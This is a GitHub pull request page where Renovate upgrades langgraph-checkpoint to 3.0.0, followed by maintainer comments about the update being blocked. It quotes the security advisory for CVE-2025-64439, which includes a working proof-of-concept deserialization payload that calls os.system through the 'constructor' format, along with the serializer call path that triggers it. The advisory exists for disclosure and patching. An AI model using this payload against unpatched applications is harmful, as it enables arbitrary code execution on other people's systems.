Skip to content

Conversation

@renovate-bot
Copy link
Contributor

This PR contains the following updates:

Package Change Age Confidence
langgraph-checkpoint >=2.0.9, <3.0.0 -> >=3.0.0, <3.0.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-64439

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.


Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

  1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
  2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0


Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.


Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate-bot renovate-bot requested review from a team as code owners November 5, 2025 22:11
@product-auto-label product-auto-label bot added the api: alloydb Issues related to the googleapis/langchain-google-alloydb-pg-python API. label Nov 5, 2025
@dpebot
Copy link
Collaborator

dpebot commented Nov 5, 2025

/gcbrun

@dpebot
Copy link
Collaborator

dpebot commented Nov 6, 2025

/gcbrun

@averikitsch
Copy link
Collaborator

Blocked on 3.9 removal FYI @dishaprakash

@forking-renovate
Copy link

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@dpebot
Copy link
Collaborator

dpebot commented Nov 17, 2025

/gcbrun

@averikitsch averikitsch added the priority: p2 Moderately-important priority. Fix may not be included in next release. label Nov 17, 2025
@averikitsch
Copy link
Collaborator

Blocked on langchain-postgres update.

@dpebot
Copy link
Collaborator

dpebot commented Dec 1, 2025

/gcbrun

@averikitsch averikitsch added the type: feature request ‘Nice-to-have’ improvement, new feature or different behavior or design. label Dec 1, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

api: alloydb Issues related to the googleapis/langchain-google-alloydb-pg-python API. priority: p2 Moderately-important priority. Fix may not be included in next release. type: feature request ‘Nice-to-have’ improvement, new feature or different behavior or design.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants